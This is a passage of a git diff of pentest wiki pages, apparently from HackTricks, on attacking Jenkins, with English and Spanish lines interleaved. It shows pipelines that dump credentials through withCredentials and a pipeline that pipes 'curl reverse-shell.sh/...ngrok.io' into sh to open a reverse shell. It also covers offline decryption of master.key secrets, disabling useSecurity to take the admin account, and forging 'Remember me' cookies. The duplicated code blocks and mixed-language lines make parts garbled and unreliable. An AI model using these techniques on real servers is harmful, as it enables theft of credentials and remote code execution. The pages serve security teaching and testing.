También puedes obtener **RCE creando/modificando un pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline Exploitation
## Explotación de Pipeline
To exploit pipelines you still need to have access to Jenkins.
Para explotar pipelines aún necesitas tener acceso a Jenkins.
### Build Pipelines
### Construir Pipelines
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se utiliza `/Jenkinsfile`:
![](<../../images/image (127).png>)
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
También es posible **almacenar archivos de configuración de pipeline en otros lugares** (en otros repositorios, por ejemplo) con el objetivo de **separar** el **acceso** al repositorio y el acceso al pipeline.
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Si un atacante tiene **acceso de escritura sobre ese archivo**, podrá **modificarlo** y **potencialmente activar** el pipeline sin siquiera tener acceso a Jenkins.\
Es posible que el atacante necesite **eludir algunas protecciones de rama** (dependiendo de la plataforma y los privilegios del usuario, podrían ser eludidas o no).
The most common triggers to execute a custom pipeline are:
Los desencadenantes más comunes para ejecutar un pipeline personalizado son:
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
- **Solicitud de extracción** a la rama principal (o potencialmente a otras ramas)
- **Empujar a la rama principal** (o potencialmente a otras ramas)
- **Actualizar la rama principal** y esperar hasta que se ejecute de alguna manera
> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
> Si eres un **usuario externo**, no deberías esperar crear un **PR a la rama principal** del repositorio de **otro usuario/organización** y **activar el pipeline**... pero si está **mal configurado**, podrías comprometer completamente a las empresas solo explotando esto.
### Pipeline RCE
### RCE de Pipeline
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
En la sección anterior de RCE ya se indicó una técnica para [**obtener RCE modificando un pipeline**](./#rce-creating-modifying-pipeline).
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
### Comprobando Variables de Entorno
Es posible declarar **variables de entorno en texto claro** para todo el pipeline o para etapas específicas. Estas variables de entorno **no deberían contener información sensible**, pero un atacante siempre podría **revisar todas las configuraciones del pipeline/Jenkinsfiles:**
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Extracción de secretos
### Dumping secrets
For information about how are secrets usually treated by Jenkins check out the basic information:
Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
Las credenciales pueden estar **alcanzadas a proveedores globales** (`/credentials/`) o a **proyectos específicos** (`/job/<project-name>/configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados.
Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Here you have the way to load some common secret types:
Aquí tienes la forma de cargar algunos tipos de secretos comunes:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
Al final de esta página puedes **encontrar todos los tipos de credenciales**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
> La mejor manera de **volcar todos los secretos a la vez** es **comprometiendo** la máquina de **Jenkins** (ejecutando un shell inverso en el **nodo incorporado**, por ejemplo) y luego **filtrando** las **claves maestras** y los **secretos encriptados** y desencriptándolos sin conexión.\
> Más sobre cómo hacer esto en la [sección de Nodos y Agentes](./#nodes-and-agents) y en la [sección de Post Explotación](./#post-exploitation).
### Triggers
### Disparadores
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
De [la documentación](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La directiva `triggers` define las **maneras automatizadas en las que el Pipeline debe ser reactivado**. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, `triggers` puede no ser necesario ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores actualmente disponibles son `cron`, `pollSCM` y `upstream`.
Ejemplo de Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Revisa **otros ejemplos en la documentación**.
Check **other examples in the docs**.
### Nodos y Agentes
### Nodes & Agents
Una **instancia de Jenkins** puede tener **diferentes agentes corriendo en diferentes máquinas**. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa **diferentes credenciales de nube potenciales** para robar o **diferente acceso a la red** que podría ser abusado para explotar otras máquinas.
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
Para más información, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
Puedes enumerar los **nodos configurados** en `/computer/`, generalmente encontrarás el **`Built-In Node`** (que es el nodo que ejecuta Jenkins) y potencialmente más:
![](<../../images/image (249).png>)
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
Es **especialmente interesante comprometer el nodo incorporado** porque contiene información sensible de Jenkins.
Para indicar que deseas **ejecutar** el **pipeline** en el **nodo incorporado de Jenkins**, puedes especificar dentro del pipeline la siguiente configuración:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### Ejemplo completo
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un shell inverso:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read to RCE
## Lectura Arbitraria de Archivos a RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Exploitation
## Post Explotación
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
Puedes listar los secretos accediendo a `/credentials/` si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de construcción** también pueden tener **más credenciales**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
Si puedes **ver la configuración de cada proyecto**, también puedes ver allí los **nombres de las credenciales (secretos)** que se utilizan para acceder al repositorio y **otras credenciales del proyecto**.
![](<../../images/image (180).png>)
#### From Groovy
#### Desde Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### Desde el disco
These files are needed to **decrypt Jenkins secrets**:
Estos archivos son necesarios para **desencriptar los secretos de Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
Such **secrets can usually be found in**:
Tales **secretos generalmente se pueden encontrar en**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Here's a regex to find them:
Aquí hay una regex para encontrarlos:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Desencriptar secretos de Jenkins sin conexión
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
Si has volcado las **contraseñas necesarias para desencriptar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para desencriptar esos secretos**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
#### Desencriptar secretos de Jenkins desde Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Crear un nuevo usuario administrador
### Create new admin user
1. Accede al archivo config.xml de Jenkins en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Busca la palabra `<useSecurity>true</useSecurity>` y cambia la palabra **`true`** a **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Reinicia** el servidor **Jenkins**: `service jenkins restart`
4. Ahora ve al portal de Jenkins nuevamente y **Jenkins no pedirá ninguna credencial** esta vez. Navega a "**Manage Jenkins**" para establecer la **contraseña de administrador nuevamente**.
5. **Habilita** la **seguridad** nuevamente cambiando la configuración a `<useSecurity>true</useSecurity>` y **reinicia Jenkins nuevamente**.
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
## Referencias
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,6 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Basic Jenkins Information
# Información Básica de Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Access
## Acceso
### Username + Password
### Nombre de usuario + Contraseña
The most common way to login in Jenkins if with a username or a password
La forma más común de iniciar sesión en Jenkins es con un nombre de usuario o una contraseña.
### Cookie
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la sesión del usuario. La cookie generalmente se llama `JSESSIONID.*`. (Un usuario puede terminar todas sus sesiones, pero primero necesitaría averiguar que una cookie fue robada).
### SSO/Plugins
Jenkins can be configured using plugins to be **accessible via third party SSO**.
Jenkins se puede configurar utilizando plugins para ser **accesible a través de SSO de terceros**.
### Tokens
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
**Los usuarios pueden generar tokens** para dar acceso a aplicaciones para suplantarlos a través de CLI o REST API.
### SSH Keys
### Claves SSH
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos se pueden invocar de esta manera utilizando cualquier cliente SSH. (De los [docs](https://plugins.jenkins.io/sshd/))
## Authorization
## Autorización
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
En `/configureSecurity` es posible **configurar el método de autorización de Jenkins**. Hay varias opciones:
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
- **Cualquiera puede hacer cualquier cosa**: Incluso el acceso anónimo puede administrar el servidor.
- **Modo legado**: Igual que Jenkins <1.164. Si tienes el **rol "admin"**, se te otorgará **control total** sobre el sistema, y **de lo contrario** (incluyendo a los **usuarios anónimos**) tendrás acceso **de lectura**.
- **Los usuarios registrados pueden hacer cualquier cosa**: En este modo, cada **usuario registrado obtiene control total** de Jenkins. El único usuario que no tendrá control total es el **usuario anónimo**, que solo obtiene **acceso de lectura**.
- **Seguridad basada en matriz**: Puedes configurar **quién puede hacer qué** en una tabla. Cada **columna** representa un **permiso**. Cada **fila** **representa** un **usuario o un grupo/rol.** Esto incluye un usuario especial '**anónimo**', que representa a **usuarios no autenticados**, así como '**autenticado**', que representa a **todos los usuarios autenticados**.
![](<../../images/image (149).png>)
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para **cada proyecto por separado.**
- **Estrategia Basada en Roles:** Permite definir autorizaciones utilizando una **estrategia basada en roles**. Administra los roles en `/role-strategy`.
## **Security Realm**
## **Reino de Seguridad**
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes:
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
- **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
- **Base de datos de usuarios propia de Jenkins:** Utiliza **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto.
- **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos.
- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá reutilizar grupos de Unix para autorización.
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Autenticación de GitHub](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Nodes, Agents & Executors
## Nodos, Agentes y Ejecutores de Jenkins
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
Definiciones de los [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **instalarse directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que se pueden ejecutar en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo.
## Jenkins Secrets
## Secretos de Jenkins
### Encryption of Secrets and Credentials
### Cifrado de Secretos y Credenciales
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
Definición de los [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe configurarse para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o utilizando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado de manera indirecta a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen:
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
- `hudson.util.Secret`: utilizado para secretos genéricos;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales;
- `jenkins.model.Jenkins.crumbSalt`: utilizado por el [mecanismo de protección CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); y
### Credentials Access
### Acceso a Credenciales
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Las credenciales pueden ser **escaladas a proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser escaladas a **proyectos específicos** (`/job/<project-name>/configure`) y, por lo tanto, solo accesibles desde el proyecto específico.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
Según [**los docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en el ámbito se ponen a disposición de la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelarían en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales.
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
**Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.**
## References
## Referencias
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,6 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,108 +1,105 @@
# Jenkins Arbitrary File Read to RCE via "Remember Me"
# Jenkins Lectura Arbitraria de Archivos a RCE a través de "Recordarme"
{{#include ../../banners/hacktricks-training.md}}
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo de crear un resumen por mi cuenta:
### Attack Prerequisites
### Prerrequisitos del Ataque
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
- **Requisito de Función:** "Recordarme" debe estar habilitado (configuración predeterminada).
- **Niveles de Acceso:** El atacante necesita permisos de Lectura/General.
- **Acceso Secreto:** Capacidad para leer tanto contenido binario como textual de archivos clave.
### Detailed Exploitation Process
### Proceso de Explotación Detallado
#### Step 1: Data Collection
#### Paso 1: Recolección de Datos
**User Information Retrieval**
**Recuperación de Información del Usuario**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
- Acceder a la configuración del usuario y secretos desde `$JENKINS_HOME/users/*.xml` para cada usuario para recopilar:
- **Nombre de Usuario**
- **Semilla del Usuario**
- **Marca de Tiempo**
- **Hash de Contraseña**
**Secret Key Extraction**
**Extracción de Claves Secretas**
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- Extraer claves criptográficas utilizadas para firmar la cookie:
- **Clave Secreta:** `$JENKINS_HOME/secret.key`
- **Clave Maestra:** `$JENKINS_HOME/secrets/master.key`
- **Archivo de Clave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
#### Paso 2: Forja de Cookies
**Token Preparation**
**Preparación del Token**
- **Calculate Token Expiry Time:**
- **Calcular Tiempo de Expiración del Token:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Agrega una hora al tiempo actual
```
- **Concatenate Data for Token:**
- **Concatenar Datos para el Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC Key Decryption**
**Desencriptación de la Clave MAC**
- **Decrypt MAC Key File:**
